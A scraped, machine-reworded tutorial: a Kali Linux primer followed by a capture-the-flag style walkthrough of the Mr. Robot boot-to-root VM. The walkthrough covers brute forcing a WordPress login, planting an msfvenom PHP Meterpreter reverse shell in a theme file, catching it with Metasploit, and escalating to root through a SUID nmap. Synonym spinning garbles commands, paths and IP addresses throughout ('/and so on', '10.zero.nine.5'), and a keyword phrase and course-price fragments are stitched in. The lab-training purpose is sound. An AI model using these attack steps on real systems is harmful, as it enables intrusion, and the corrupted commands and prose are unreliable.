Getting Started with Kali Linux  Kali Linux is the running gadget of desire for aspiring hackers and advanced hackers as properly.

Developed by using Offensive safety getting Started with Kali Linu0x :

it incorporates a number of the tools a hacker desires to get commenced. recently, Offensive protection released a new edition of Kali Linux nominally referred to as Kali Linux 2020.2. they’ve made some vast modifications from in advance versions, so I want to update you right here.

Step #1 down load the VM photograph Getting Started with Kali Linux

in all likelihood the exceptional manner to get commenced with Kali is to down load and set up the virtual device (VM) photo. that is surely the operating machine already built to run in either Oracle’s VitualBox or VMWare computer. you can download the photograph here Getting Started with Kali Linux .

word that there are snap shots for each VMware and VirtualBox. select the picture suitable for your virtualization system and download Getting Started with Kali Linux .

Step #2 Open the VM image

the subsequent step is to open the photo. on account that these virtual machines have already been built for you, there no want to create a new digital gadget. truly pick “Open” from the report menu and select the image out of your down load folder Getting Started with Kali Linux .

Then pick out the photograph and also you must be geared up to begin Kali!

once Kali starts offevolved, you need to be greeted by a login screen like below. The default credentials for the username and password are “kali” and “kali”. Login into your new hacking platform!

while you login, you’ll then see the new Kali Linux computer Getting Started with Kali Linux .

next, let’s open a terminal by using clicking on the little terminal icon in the top left corner.

this will open a terminal like that underneath Getting Started with Kali Linux .

Getting began with Kali Linux

before we start our adventure into hacking, permit’s take a short moment to make certain everybody has a few simple Linux abilities.

let’s begin with some of the maximum simple Linux instructions.

For a greater complete examine Linux for Hackers, test out my “Linux basics for Hackers” from No Starch Press to be had now at Amazon Getting Started with Kali Linux .

First a phrase approximately case-sensitivity. if you have labored you complete existence/career in home windows, you can no longer be conversant in case-sensitivity, as home windows is case-insensitive. on the other hand, Linux is case-touchy. this means that the file “hacking” is different from the record “Hacking” and the directory “computer” is different from “laptop Getting Started with Kali Linux “.

similarly, the report structure in Linux is distinctive than home windows.

whereas, home windows has physical force, say C:, at the foundation of its record shape, Linux does now not. at the top of the Linux record hierarchy is root /.

given that we can nearly continually be operating inside the command line (CLI) in Linux, there are some key instructions which might be important for simply finding our manner round. possibly the maximum critical of these is ls.

kali > ls

The ls command will list all of the files and sub-directories as seen above Getting Started with Kali Linux .

If we use the -l transfer with the ls command, Linux will display tons more information together with the proprietor, group and security of the documents and sub directories.

kali > ls -l

cd

likely the second one maximum typically used command in Linux is cd or alternate listing.

autocomplete

frequently, in Linux, very last names and instructions can be very long and complex. To clear up this problem, you may type the first few letters of a record or command and if you have sufficient characters to make it unique, you can tab and Linux will autocomplete it.

to replicate a file from one region to some other, we use the identical command as home windows cp.

cp

at the same time as the replica command will make a duplicate of the record in the new area, the pass mv will pass the document to the new place and delete the preceding document and area Getting Started with Kali Linux

mv

As we are transferring around the command line we will often lose song of what listing we are in. To find what our gift operating listing is, we can use the pwd command.

pwd

As the root user, we can use any person’s account and it is recommended that we no longer use the root account when doing regular preservation. As a end result, we can not constantly be logged in as root. If we overlook what consumer we’re logged in as, we can ask the system “whoami”.

whoami

To list the contents of a report, we will use the cat command followed by using the record name. whilst is useful for short documents, for longer documents it scrolls to the cease the record before stopping. So, for a a thousand page document it’s going to keep scrolling till it come sto page one thousand. no loner so useful Getting Started with Kali Linux .

extra

The more command is used to show the contents of a report. it’ll display the first page and stop, unlike cat. you can then use the enter key to scroll down thru the document one line at a time or web page down using the PGDN key. You exit with the aid of typing q to go back to the command activate.

when hacking or administering on Linux, we often need to see what techniques are running. The command is ps

ps

Grep is a filter command. we can use grep to clear out for any keyword.

rep

once in a while an application or manner will hold or zombie. To prevent it we can use the kill command Getting Started with Kali Linux .

kill

As noted above, cat can be used to print a document to screen. Its beneficial for printing small documents but of confined usefulness with large documents. For our purposes in this elegance, cat can be useful for growing small text files. To create a textual content report with cat, actually type the command cat accompanied via the redirect > after which the call of the document you want to create inclusive of Getting Started with Kali Linux ;

kali > cat > hackingfile

Hacking is the most essential ability set of the twenty first century.

while you hit input, cat will input interactive mode and anything you kind next can be entered into the record. To exit and shop, clearly hit Cntl+d

Navigating Kali

As we are able to be the use of Kali as our primary method of attacking IT belongings, it’s miles crucial that we’ve an introduction and tour of Kali. For those of you who’re new to Kali, please make sure which you spend ok time familiarizing yourself with it and Linux, because it pays dividends ultimately in this course and your career as a penetration tester. For those of you who already have giant experience with Kali and Linux, remember this a review and endure with us for only a moment Getting Started with Kali Linux .

Kali is a Debian distribution of Linux with a GNOME interface by way of default (in case you are extra comfy with KDE or different interface, you may update it, however I might be using the default interface in this path), constructed by means of Offensive safety and for offensive security. It has masses of gear built-in and is designed for hacking. maximum of the tools we want to access and use can be discovered beneath the Kali Linux tab on the pinnacle of the display. let’s take a look at those Getting Started with Kali Linux .

click at the Kali tab in the higher left nook to open a pull down menu.

whilst we click on on it, it expands to numerous classes of hacking tools. Clicking on any of those categories will monitor the tools available to us in each of those areas.

s you can see underneath, I clicked at the “internet utility analysis” tab and it displayed the Kali gear to be had for web utility evaluation and hacking along with BurpSuite, sqlmap and wpscan.

The equipment will usually be run from the CLI or command line interface. in contrast to in advance variations of backtrack and other hacking distributions, Offensive security has located all the programs in the /usr/bin listing and because this directory is in our route variable, these programs can be run from any listing, making using Kali a bit easier than back down or different security distributions. If we navigate (cd) to /usr/bin and kind ls -l, we will see displayed all of the programs to be had to us.

For the ones new to Linux and Kali, there are numerous instructions which can be useful. likely the maximum important initially are the locate and find commands. find allows us to search thru a database maintained by using the running gadget for the name of a specific document. So, if we have been looking for the apache2.conf report, we ought to kind

kali > discover apache2.conf

The find command is speedy and easy, but it may most effective locate documents which have been there at the least 24 hours because the database is up to date overnight on most systems. A file which you created more than one hours ago, will now not seem inside the database till day after today.

at the same time as the find command is rapid, the discover command is far greater powerful. It enables us to discover documents with the aid of attributes and outline where to look for them. for instance, if I wanted to discover the equal apache2.conf file, I may want to inform it to begin searching inside the /and so on listing and look for a report (-kind f) with the call (-call) apache2.conf Getting Started with Kali Linux

kali > sudo locate /and many others -kind f -call apache2.conf

wherein:

/etc is the listing to go looking in

-kind f tells it to search for a document

-call tells find to search by way of call

apache2.conf is the call of the file to look for

fter strolling this command, it comes returned and tells us that apache2.conf is in the /and many others/apache2 listing. The find command is a totally powerful Linux command with nearly innumerable switches and alternatives to help us discover files primarily based upon various attributes such possession, time, length, permissions, and many others. it’d be worth it slow to explore similarly this command, but it’s miles past the scope of our route Getting Started with Kali Linux .

Linux services

With the appearance of Kali Linux 2020, this distribution of Linux has followed the “new” systemd popular for device and provider control. this is a large change from in advance distributions of Kali but inline with modifications for the duration of the enterprise that has broadly followed systemd.

other services are to be had, however tons be commenced via the command line interface (CLI). we can start and forestall any provider through typing;

kali > sudo systemctl

o, if I wanted to begin the apache internet server via the command line, it’d be;

kali > sudo systemctl start apache2

f addition, apache2 has a manipulate script named apache2ctl. we will use it to begin and prevent the apache internet server Getting Started with Kali Linux .

Networking in Kali

during this path, we can need to configure and reconfigure our network for top of the line hacking. To do so we will want to be acquainted with some commands in Linux. the first and likely maximum important is ifconfig. it’s miles very just like home windows ipconfig because it will monitor the requisite networking and interface information Getting Started with Kali Linux .

posted on February 4, 2020
Welcome to the next element in what has come to be our epic collection of articles round penetration trying out and Kali Linux! if you’re behind, sense free to seize up with those posts across the OSCP certification, installing Kali on whatever, and some of the pinnacle Kali equipment.

nowadays, we are going to get into the meat of it and do some actual hacking! however don’t worry, this in all likelihood won’t get you arrested and/or extradited. we’re going to work on a goal referred to as a boot-to-root machine. those are digital machines that you run for your own network which can be constructed to seem like a regular manufacturing box. they could run apps like net servers, databases, FTP servers, and so on.

these machines, but, are built to be intentionally vulnerable by means of the author as a means to be able to practice your pen check abilties in a simulated putting Getting Started with Kali Linux .

it’s all approximately getting your arms dirty, walking gear against a real target, seeing what works and what fails, and getting into the pentester mindset. To help, we are going to stroll thru a popular boot-to-root gadget called Mr. robot (just like the tv display!). This VM is a WordPress server. we’ll brute force our manner into the admin console, get a reverse shell, then improve our privileges to another Linux user earlier than ending up as the basis consumer, with complete pwnage of the machine. permit’s cross!

online route
how to Run fundamental Linux report instructions
15 films
exercise exams
coaching
Quizzes
monthly

$59.00

USD / learner / month

yearly

$forty nine.91

USD / learner / month

Watch now
horrifying legal warning: as with all pen trying out exercising, make sure you by no means run any scans or tools in opposition to systems that you do not own with out explicit permission! Even even as you’re just messing around for a certification or infosec training route.

Boot the device
the first step with any boot-to-root is to down load and boot it up, so head here to download the picture. you will come to be with a document in OVA format, that is a VMware system photograph. The document will import easily into any VMware product or virtual container. if you are the usage of Parallels or Hyper-V you will need to comply with a few greater steps to convert it. as soon as it is imported into your hypervisor, evaluate the network settings of it and your Kali container to make certain they’re on the identical digital community, then boot it up.

the following step: What IP cope with did it get? First discover Kali’s through strolling ifconfig, the address after eth0 is what you are after Getting Started with Kali Linux :

1
2 root@kali:~# Ifconfig
three eth0: flags=4163 mtu 1500
4 inet 10.zero.9.6 netmask 255.255.255.zero broadcast 10.zero.nine.255
five
Kali’s IP is 10.0.nine.6. subsequent allow’s use Nmap to ping the entire subnet and discover different live machines Getting Started with Kali Linux :

1 root@kali:~# Nmap -Sn 10.0.nine.0/24
2 beginning Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:25 EDT
3 Nmap test document for 10.0.nine.1
4 Host Is Up (zero.00019s Latency).
five MAC deal with: 00:1C:42:00:00:18 (Parallels)
6 Nmap scan report for 10.0.9.2
7 Host Is Up (0.00014s Latency).
8 MAC address: 00:1C:42:00:00:08 (Parallels)
nine Nmap experiment report for 10.zero.9.five
10 Host Is Up (0.00048s Latency).
eleven MAC deal with: 00:1C:42:70:D7:77 (Parallels)
12 Nmap test file for 10.0.nine.6
13 Host Is Up.
14 Nmap completed: 256 IP addresses (four hosts up) scanned in 2.03 seconds
We know that 10.zero.9.1 and .2 are virtual network devices used by Parallels (our hypervisor in this case) and .6 is Kali, so .five should be Mr. robotic Getting Started with Kali Linux !

Enumeration

the next step is to run a basic Nmap test to locate open ports:

1 root@kali:~# Nmap 10.zero.9.five
2 starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:26 EDT
three Nmap test report for 10.zero.9.five
four Host Is Up (zero.00046s Latency).
five not proven: 997 Filtered Ports
6 PORT state carrier
7 22/Tcp Closed Ssh
eight 80/Tcp Open Http
9 443/Tcp Open Https
10 MAC cope with: 00:1C:forty two:70:D7:77 (Parallels)
Port 22 is stated as closed, that means that the TCP request to that port turned into explicitly responded with a “depart, no person’s answering right here!” rather than the shortage of response that came from every other port. however, 80 and 443 are open! in case you bear in mind from your network+ schooling, those ports are generally for HTTP and HTTPS. So, allow’s try getting access to the IP with Firefox. We get an interesting response Getting Started with Kali Linux :

truely a web web page, kinda odd, however if you’ve seen the Mr. robotic tv display then you need to be selecting up at the topic this system become constructed round. fashionable web enumeration process. let’s test the supply code. there is some cute ASCII art, a call to a few Javascript, however now not tons else interesting Getting Started with Kali Linux :

shifting on to HTTPS, it is the equal web site, simply encrypted, nothing new. The page gives us no hyperlinks to observe. Is there something else interesting about the server we could find out? try scanning it with Nikto Getting Started with Kali Linux :

1
2 root@kali:~# Nikto -H 10.0.nine.5
three – Nikto V2.1.6
four —————————————————————————————————————–
5 + goal IP: 10.zero.9.5
6 + goal Hostname: 10.0.9.5
7 + target Port: 80
eight + start Time: 2019–10–14 12:02:22 (GMT–4)
nine —————————————————————————————————————–
zero + Server: Apache
1 + The X–XSS–protection header isn’t always described. This header can trace to the consumer agent to defend against a few varieties of XSS
2 + /Wp–Login/: Admin Login page/section located.
3 + /wordpress: A WordPress installation became determined.
four + /wp–admin/wp–login.php: WordPress Login located
5
very thrilling matters at once stand out: it’s an Apache web server, and it is a WordPress web page. attempting the login page redirects us right here, which confirms it is certainly WordPress Getting Started with Kali Linux :

We may want to try to test the page with WPScan to enumerate for susceptible plug-ins, but take a step back first. One tenet of pentesting is to enumerate huge and shallow first — after which begin deep diving. recognize your target more completely first, otherwise you may effortlessly deep dive into rabbit holes and waste time. allow’s attempt enumerating the web server similarly with GoBuster. GoBuster uses a given wordlist to look for directories at the server, like so:

1 root@kali:~# gobuster dir –wordlist /usr/percentage/wordlists/dirbuster/directory-list-2.3-medium.txt –url http://10.0.nine.five
This command is pointing to the area of a widespread wordlist this is such as with Kali, and the use of it in opposition to our net server to find out directories. One thrilling end result that comes back is the listing /robots, permit’s attempt that in the browser Getting Started with Kali Linux :

A-ha! the primary of 3 keys! All VM sporting events like this one have keys or flags that you discover, proofs that you obtained a sure level of get admission to to the gadget. generally they may have positive document permissions set; quickly you will see how we discover the second key however cannot yet read the report.

Breaking Into WordPress

also on that robots page is a filename, fsociety.dic. we will down load that record from 10.zero.nine.5/fsociety.dic, and opening it exhibits an peculiar listing of random words:

1 root@kali:~# Cat fsocity.dic
2 proper
3 false
four wikia
five from
6 The
7 now
eight Wikia
nine extensions
perhaps a listing of passwords? now not positive, let’s maintain it in mind and flow alongside. to date, we’ve got a WordPress login web page and a wordlist. permit’s anticipate the wordlist is passwords, however what’s our username? One trick with WordPress is, based on how it is installation, it’s going to clue you into whether a selected username exists or not:

See the extraordinary Kill? lengthy tale brief, the username which you are intended to use is “elliot” (like the man or woman from the show). How were you supposed to realize this? here’s a lesson approximately boot-to-root machines. occasionally they’re cheap and trolly.

commonly, you could use WPScan to enumerate WordPress users, but in this example it’s no help, due to the fact there are not any posts on the website online to drag an writer call from.

ok, we’ve a username and password list, let’s combine them with WPScan and perform a little brute forcing:

After a couple of minutes, we have valid credentials for WordPress, elliot and ER28-0652. Logging in brings us to the WordPress dashboard, in which we will take a look at user permissions and locate we are a WP admin, w00t! So the subsequent concept of a pentester is “how can i leverage this get right of entry to to get a shell?”

Spawning a Shell
lucky for us, WordPress is very conducive to strolling code towards the OS after gaining admin get entry to. There are plenty of ways to do that, this is but one easy example. allow’s navigate to the appearance tab, then the Editor:

there may be a listing of documents at the proper facet, all a part of the applied WordPress template, Twenty Fifteen in this case:

If we click on the 404 Template, we see the code it is displayed each time a person either goes to a nonexistent web page, or maybe just goes to 10.zero.nine.five/404.personal home page. personal home page, at the same time as used in this situation to run server side code to generate the page at the fly, can also be bent to our wills. let’s use the msfvenom command back in Kali to generate some nefarious php code Getting Started with Kali Linux :

1 root@kali:~# msfvenom -p Hypertext Preprocessor/meterpreter/reverse_tcp lhost=10.zero.9.6 lport=9009 -f uncooked
This command will generate php code that makes use of the Meterpreter personal home page payload to connect a shell again to our Kali host at 10.zero.9.6 on port 9009. it’s going to output the code when finished. reproduction that, delete the contents of 404.personal home page lower back in WordPress, paste in our new code, and keep the changes.

Now, we want a listener to catch the payload whilst it calls returned to Kali.

We chose a Meterpreter payload in advance, that is a part of Metasploit, so permit’s crank that up Getting Started with Kali Linux :

1 root@kali:~# Msfconsole
2 …
three msf5 > Use exploit/Multi/Handler
4 msf5 take advantage of(multi/handler) > set payload php/meterpreter/reverse_tcp
5 payload => php/Meterpreter/Reverse_tcp
6 msf5 exploit(multi/Handler) > Set Lhost 10.0.9.6
7 lhost => 10.0.nine.6
8 msf5 exploit(multi/Handler) > Set Lport 9009
nine lport => 9009
10 msf5 exploit(multi/Handler) > make the most
eleven [*] started out reverse TCP Handler on 10.zero.nine.6:9009
After launching Metasploit, we selected our multi-handler take advantage of, set the payload, listening host IP and port, then started the take advantage of, that is now listening on port 9009. If we go lower back to the browser and cargo 10.zero.9.6/404.php we get this in Kali:

1
2
three [*] Sending stage (38288 Bytes) to 10.zero.nine.5
4 [*] Meterpreter session 1 opened (10.0.nine.6:9009 -> 10.zero.nine.five:39203) at 2019–10–18 16:19:18 –0400
5 meterpreter > Shell
6 procedure 3421 Created.
7 Channel zero Created.
eight whoami
nine daemon
0 pwd
1 /decide/Bitnami/Apps/WordPress/Htdocs
2 ifconfig
three eth0 hyperlink encap:Ethernet HWaddr 00:1c:forty two:70:d7:77
4 inet addr:10.0.nine.five Bcast:10.zero.nine.255 masks:255.255.255.zero
5
6
Congrats, you just were given your first opposite shell! that is a command line for the Mr. robot system, linked to Kali. we can now run commands as though we’re logged into Mr. robot. you can see the “whois” command, which shows we’re the user known as “daemon Getting Started with Kali Linux,” and the pwd shows suggests we’re presently in the WordPress doc directory. Ifconfig proves we’re on Mr. robot in step with the matching IP deal with.

It does look a bit bizarre even though, as there may be no actual spark off, this is regular with opposite shells. One common fix is to run python -c ‘import pty; pty.spawn(“/bin/bash”)’, this hundreds a few shell bits that give us a ordinary searching prompt Getting Started with Kali Linux .

Escalating Privileges
So we are in! permit’s poke around a bit, beginning with the home directories to peer if we will locate whatever exciting inside the person home directories:

1
2 daemon@linux:/decide/bitnami/apps/wordpress/htdocs$ cd /domestic
3 daemon@linux:/home$ Ls
4 robot
5 daemon@linux:/domestic$ Cd robot
6 daemon@linux:/home/robotic$ Ls
7 key–2–Of–3.txt password.raw–md5
eight daemon@linux:/domestic/robot$ Cat Key–2–Of–3.txt
9 cat: Key–2–Of–three.txt: Permission Denied
10 daemon@linux:/domestic/robot$ Cat password.raw–md5
11 robotic:c3fcd3d76192e4007dfb496cca67e13b Getting Started with Kali Linux
12
We located a user known as robotic. at the same time as we are logged in as daemon, we will nonetheless observe the contents of robot’s domestic directory. We observed key No. 2, however can’t examine the report. any other exciting document we will read; it looks like credentials however is a piece gibberishy. It is probably a hash, but what type?

we are able to use the hash-identifier device to determine this out, but occasionally a short Google search can tell us even greater Getting Started with Kali Linux. Googling this hash suggests several pages like this one that have already decrypted the hash as “abcdefghijklmnopqrstuvwxyz.” is this robot’s password? One manner to discover, strive using su to interchange users Getting Started with Kali Linux :

1 daemon@linux:/domestic/robot$ Su – robotic
2 Password: Abcdefghijklmnopqrstuvwxyz
three $ Whoami
4 robotic
5 $ Cat Key–2–Of–three.txt
6 822c73956184f694993bede3eb39f959
It worked! we are now logged in as robotic and might examine the second key! One greater to move, there’s an awesome chance we’ll need to hit the jackpot and become root to locate it.

turning into Root

One not unusual privilege-escalation technique to get to root is to search for SUID binaries. those are executable documents which have a sure permission set with a purpose to allow us to run those documents as if we are some other user. strolling the following command will search the device for SUID binaries, especially for ones with root because the person that we can execute them as Getting Started with Kali Linux :

1 $ find / –person Root –Perm –4000 2>/Dev/Null
2 /Bin/Ping
3 /Bin/Umount
four /Bin/Mount
5 /Bin/Ping6
6 /Bin/Su
7 /Usr/Bin/Passwd
8 /Usr/Bin/Newgrp
nine /Usr/Bin/Chsh
10 /Usr/Bin/Chfn
11 /Usr/Bin/Gpasswd
12 /Usr/Bin/Sudo
13 /Usr/neighborhood/Bin/Nmap Getting Started with Kali Linux
14 /Usr/Lib/Openssh/Ssh–Keysign
15 /Usr/Lib/Eject/Dmcrypt–Get–tool
sixteen /usr/lib/vmware–tools/bin32/vmware–consumer–suid–wrapper
17 /usr/lib/vmware–tools/bin64/vmware–user–suid–wrapper
18 /Usr/Lib/Pt_chown
Holy moly. that’s a number of stuff, but very little of it’ll be useful. some files constantly have the SUID bit set as root for us to apply them due to the way Linux permissions work. Passwd, as an example, must run as root to edit the covered /etc/shadow document if we want to alternate our password, but it normally can’t be exploited Getting Started with Kali Linux Getting Started with Kali Linux .

understanding at a glance what’s everyday and what’s out of vicinity when looking for SUID binaries will take time and enjoy. A common pink flag is files in extraordinary directories. in this listing, /usr/nearby/bin/nmap would possibly stick out. in addition studies shows that Nmap may be used pretty without problems to get a root shell when you run it in interactive mode, a on hand mode that lets you run shell commands from inside Nmap Getting Started with Kali Linux:

1
2
three $ Nmap —Interactive Getting Started with Kali Linux
four nmap —Interactive
five starting nmap V. 3.eighty one ( http://www.insecure.org/nmap/ )
6 Welcome to Interactive Mode — press h for help
7 nmap> !Bash –P
eight !bash –P
nine bash–four.3# Whoami
10 whoami
11 root
12 bash–4.3# Cd /Root Getting Started with Kali Linux
13 cd /Root
14 bash–4.three# Dir
15 dir
16 firstboot_done Key–3–Of–three.txt
17 bash–4.three# Cat Key-three-Of-three.txt
18 cat Key–3–Of–three.txt Getting Started with Kali Linux
19 04787ddef27c3dee1ee161b21670b4e4
20
21
That !bash -p command sincerely manner “gimmie a shell” and as it’s a SUID binary, that shell runs as root! This simplest works with older variations of Nmap, they patched it out in later ones, however in this situation it brought about us getting a root shell, finding the 0.33 flag, and absolutely pwning the machine Getting Started with Kali Linux !

Wrapping Up
with any luck this deep dive into Mr. robotic has helped show both the way to get through a normal boot-to-root or CTF-style machine and discovered some of the pentest method and mindset.

if you want greater, VulnHub is a first-rate source for downloading extra boot-to-root machines, and HackTheBox is the cream of the crop for hosted hackable machines. happy hacking Getting Started with Kali Linux !

Sources